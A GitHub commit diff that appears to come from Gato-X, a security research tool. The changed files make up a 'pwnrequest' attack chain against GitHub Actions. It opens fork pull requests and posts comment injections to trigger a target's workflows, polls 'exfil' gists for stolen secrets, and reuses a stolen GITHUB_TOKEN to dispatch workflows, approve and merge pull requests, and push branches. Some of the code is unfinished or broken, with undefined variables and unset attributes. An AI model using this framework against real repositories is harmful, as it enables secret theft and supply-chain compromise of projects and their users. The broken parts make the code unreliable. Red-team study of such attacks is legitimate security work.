Skip to content

Commit

Permalink
Continued work.
Browse files Browse the repository at this point in the history
  • Loading branch information
AdnaneKhan committed Dec 6, 2024
1 parent ce4b1fd commit 275c12b
Show file tree
Hide file tree
Showing 12 changed files with 170 additions and 69 deletions.
2 changes: 1 addition & 1 deletion gatox/attack/pwnrequest/pwn_request.py
Original file line number Diff line number Diff line change
Expand Up @@ -38,7 +38,7 @@ def execute_attack(self, target_repo: str, attack_template: dict):
for step in steps:
Output.info(f"Executing step: {step.step_data}")

status = step.preflight(self.api, previous_results=results)
status = step.preflight(self.api, **results)
if not status:
Output.error(f"Failed perform preflight for step: {step}")
return False
Expand Down
7 changes: 6 additions & 1 deletion gatox/attack/pwnrequest/step_factory.py
Original file line number Diff line number Diff line change
Expand Up @@ -29,6 +29,7 @@ def create_steps(target: str, attack_template: dict):
step_definition["target_workflow"],
gist_pat,
modified_files=step_definition.get("modified_files", []),
has_payload=step_definition.get("has_payload", False),
)

steps.append(step)
Expand All @@ -38,7 +39,11 @@ def create_steps(target: str, attack_template: dict):

steps.append(step)
elif step_definition["type"] == "Comment":
step = CommentStep(step_definition["comment"])
step = CommentStep(
target,
step_definition["target_workflow"],
step_definition["comment"],
)

steps.append(step)
elif step_definition["type"] == "Dispatch":
Expand Down
32 changes: 31 additions & 1 deletion gatox/attack/pwnrequest/steps/attack_step.py
Original file line number Diff line number Diff line change
@@ -1,19 +1,49 @@
# high level class for an attack step. Will get constructed purely from the custom
# yaml step definition.

import functools


class AttackStep:
"""Base class for attack step."""

SUCCESS_STATUS = "SUCCESS"
FAIL_STATUS = "FAILURE"

@staticmethod
def require_params(*required_params):
"""
Decorator to ensure that all required parameters are present.
Args:
*required_params: Arbitrary number of required parameter names.
Raises:
ValueError: If any required parameters are missing.
"""

def decorator(func):
@functools.wraps(func)
def wrapper(*args, **kwargs):
# Check for missing required parameters
missing = [p for p in required_params if p not in kwargs]
if missing:
raise ValueError(
f"Missing required parameters: {', '.join(missing)}"
)
return func(*args, **kwargs)

return wrapper

return decorator

def __init__(self, description, step_type, step_data):
self.description = description
self.step_type = step_type
self.step_data = step_data
self.is_terminal = False
self.next = None
self.output = {}

def __str__(self):
return f"{self.__class__.__name__} - {self.step_data}"
Expand All @@ -30,7 +60,7 @@ def setup(self, api):
"""Setup the step"""
return True

def preflight(self, api, previous_results: dict = {}):
def preflight(self, api, previous_results=...):
""" """
return True

Expand Down
3 changes: 2 additions & 1 deletion gatox/attack/pwnrequest/steps/cache_poison.py
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,8 @@ def __init__(self, payload_path: str):
""" """
self.poison_payload = payload_path

def preflight(self, previous_results=None):
@AttackStep.require_params("cache_token", "cache_url")
def preflight(self, cache_token=None, cache_url=None):
"""Validates preconditions for executing this step."""
pass

Expand Down
22 changes: 11 additions & 11 deletions gatox/attack/pwnrequest/steps/catcher.py
Original file line number Diff line number Diff line change
Expand Up @@ -81,18 +81,18 @@ def __extract_secrets(self, gist_results):
Output.error("Invalid exfiltration format!")
return False

def preflight(self, api, previous_results=None):
@AttackStep.require_params("catcher_gist", "exfil_gist")
def preflight(self, api, catcher_gist=None, exfil_gist=None):
"""Validates preconditions for executing this step."""
# Check if the gist exists
if previous_results:
self.catcher_id = previous_results.get("catcher_gist", None)
self.exfil_gist = previous_results.get("exfil_gist", None)

if self.catcher_id and self.exfil_gist:
return True
else:
Output.error("No previous results found!")
return False

if catcher_gist and exfil_gist:
self.catcher_gist = catcher_gist
self.exfil_gist = exfil_gist
return True
else:
Output.error("No previous results found!")
return False

def execute(self, api: Api):
"""Execute the step after validating pre-conditions."""
Expand All @@ -101,7 +101,7 @@ def execute(self, api: Api):
start_time = time.time()
while time.time() - start_time < self.timeout:
gist_results = api.get_gist_file(
self.catcher_id, credential_override=self.gist_pat
self.catcher_gist, credential_override=self.gist_pat
)
# Process gist_results if needed
if gist_results:
Expand Down
76 changes: 73 additions & 3 deletions gatox/attack/pwnrequest/steps/comment.py
Original file line number Diff line number Diff line change
@@ -1,12 +1,82 @@
import time

from gatox.attack.pwnrequest.steps.attack_step import AttackStep
from gatox.cli.output import Output

from gatox.attack.utilities import AttackUtilities


class CommentStep(AttackStep):
"""Step representing a specific issue comment to make on an issue or a pull request."""

def __init__(self, comment: str):
def __init__(
self, target_repo, target_workflow, comment: str, has_payload: bool = False
):
self.comment = comment
self.has_payload = has_payload
self.target_repo = target_repo
self.target_workflow = target_workflow

def setup(self, api):
"""Set up the exfil Gist."""

# Validate workflow exists on target repo
workflow = api.get_workflow(self.target_repo, self.target_workflow)

if not workflow:
Output.error(
"The target repository does not have the workflow specified, this attack cannot work."
)

if self.has_payload:
catcher_gist, gist_id = AttackUtilities.create_exfil_gist(
api, self.exfil_credential
)

Output.info(f"Created exfil gist: {gist_id}")

def handoff(self):
Output.warn(
"This is a comment injection attack, please format the previous payload in a manner that will run in the workflow."
)

Output.info("Enter 'Confirm' when ready to continue.")

user_input = input()
if user_input.lower() != "confirm":
Output.warn("Exiting attack!")
return False

self.output["catcher_gist"] = catcher_gist
self.output["exfil_gist"] = gist_id

@AttackStep.require_params("pr_number")
def preflight(self, api, pr_number=None):
""" """
pass

current_user = api.get_user()
# Verify that the PR was created.

# Issue a comment on it
api.create_comment(self.target_repo, pr_number, self.comment)

# Check for the PR workflow
Output.info(f"Waiting for {self.target_workflow} to be triggered by user...")
runs = []
start_time = time.time()
while time.time() - start_time < self.timeout:
runs = api.get_workflow_runs_by_user_and_trigger(
self.target_repo,
current_user,
self.target_workflow,
["issue_comment"],
)
if not runs:
time.sleep(5)
else:
Output.info("Pull request triggered!")
break
if not runs:
Output.info(
f"Unable to get runs triggered by user for {self.target_workflow}!"
)
self.output["status"] = "FAILURE"
7 changes: 4 additions & 3 deletions gatox/attack/pwnrequest/steps/dispatch.py
Original file line number Diff line number Diff line change
Expand Up @@ -59,10 +59,11 @@ def setup(self, api):

return True

def preflight(self, api, previous_results=None):
@AttackStep.require_params("secrets")
def preflight(self, api, secrets=None):
"""Validates preconditions for executing this step."""

self.credential = previous_results["secrets"]["values"]["system.github.token"]
self.credential = secrets["values"]["system.github.token"]

status = api.call_get(
f"/installation/repositories", credential_override=self.credential
Expand All @@ -73,7 +74,7 @@ def preflight(self, api, previous_results=None):

Output.owned(f"Token is valid!")
# We need to pass the secrets on.
self.output["secrets"] = previous_results["secrets"]
self.output["secrets"] = secrets

return True

Expand Down
5 changes: 3 additions & 2 deletions gatox/attack/pwnrequest/steps/feature_branch.py
Original file line number Diff line number Diff line change
Expand Up @@ -43,9 +43,10 @@ def setup(self, api):

return True

def preflight(self, api, previous_results={}):
@AttackStep.require_params("secrets")
def preflight(self, api, secrets=None):
# Validate the GITHUB_TOKEN
self.credential = previous_results["secrets"]["values"]["system.github.token"]
self.credential = secrets["values"]["system.github.token"]

status = api.call_get(
f"/installation/repositories", credential_override=self.credential
Expand Down
14 changes: 2 additions & 12 deletions gatox/attack/pwnrequest/steps/issue.py
Original file line number Diff line number Diff line change
Expand Up @@ -2,20 +2,10 @@


class IssueStep(AttackStep):
"""Issue step, which represents issuing a workflow dispatch
event with a given payload.
"""Issue step, which represents creating an issue using the
GitHub API.
"""

def __init__(self):
""" """

def preflight(self):
"""Validates preconditions for executing this step."""
return True

def execute(self, api):
"""Execute the step after validating pre-conditions."""

# api.create_issue(target_repo, title, body)

pass
27 changes: 18 additions & 9 deletions gatox/attack/pwnrequest/steps/merge_pr.py
Original file line number Diff line number Diff line change
@@ -1,3 +1,4 @@
from gatox.cli.output import Output
from gatox.attack.pwnrequest.steps.attack_step import AttackStep


Expand All @@ -6,20 +7,28 @@ class Merge(AttackStep):
write and contents write to approve and merge pull request.
"""

def preflight(self, api, previous_results=...):
@AttackStep.require_params("secrets")
def preflight(self, api, secrets=...):
# Validate the GITHUB_TOKEN
self.credential = secrets["values"]["system.github.token"]

# Validate that the target branch does not have branch protection
pass
status = api.call_get(
f"/installation/repositories", credential_override=self.credential
)
if status.status_code == 401:
Output.error("Token invalid or expired!")
return False

# Validate that the PR exists

return True

def execute(self, api):
"""Execute the step after validating pre-conditions."""

# Create branch if it does not exist

# Commit file
# Approve PR
api.approve_pr(self.target_repo, self.pr_number, self.credential)

pass
api.merge_pr(self.target_repo, self.pr_number, self.credential)

def handoff(self):
"""Handoff the step to the next part of the attack chain."""
return True
36 changes: 15 additions & 21 deletions gatox/attack/pwnrequest/steps/pull_request.py
Original file line number Diff line number Diff line change
Expand Up @@ -25,6 +25,7 @@ def __init__(
modified_files=[],
pr_title="[Ignore] Test",
timeout=60,
has_payload=False,
):
"""
Initializes the PullRequest attack step.
Expand All @@ -51,6 +52,7 @@ def __init__(
self.exfil_credential = exfil_credential
self.pr_title = pr_title
self.timeout = timeout
self.has_payload = has_payload

def setup(self, api):
"""
Expand Down Expand Up @@ -121,19 +123,21 @@ def setup(self, api):
Output.error("Failed to check for target branch!")
return False

catcher_gist, gist_id = AttackUtilities.create_exfil_gist(
api, self.exfil_credential
)
if self.has_payload:

self.output["catcher_gist"] = catcher_gist
self.output["exfil_gist"] = gist_id
catcher_gist, gist_id = AttackUtilities.create_exfil_gist(
api, self.exfil_credential
)

Output.info("Enter 'Confirm' when ready to continue.")
self.output["catcher_gist"] = catcher_gist
self.output["exfil_gist"] = gist_id

user_input = input()
if user_input.lower() != "confirm":
Output.warn("Exiting attack!")
return False
Output.info("Enter 'Confirm' when ready to continue.")

user_input = input()
if user_input.lower() != "confirm":
Output.warn("Exiting attack!")
return False

return True

Expand Down Expand Up @@ -200,6 +204,7 @@ def execute(self, api):
Output.info(
f"Fork pull request created successfully, you can view it at {result}!"
)
self.output["pr_number"] = result.split("/")[-1]
else:
Output.error("Failed to create fork pull request!")
return False
Expand Down Expand Up @@ -227,14 +232,3 @@ def execute(self, api):
self.output["status"] = "FAILURE"

return True

def handoff(self):
"""
Handles any necessary post-execution operations.
This method can be used to pass data or results to subsequent steps in the attack workflow.
Returns:
Any: Depends on the superclass implementation.
"""
return super().handoff()
Loading

0 comments on commit 275c12b

Please sign in to comment.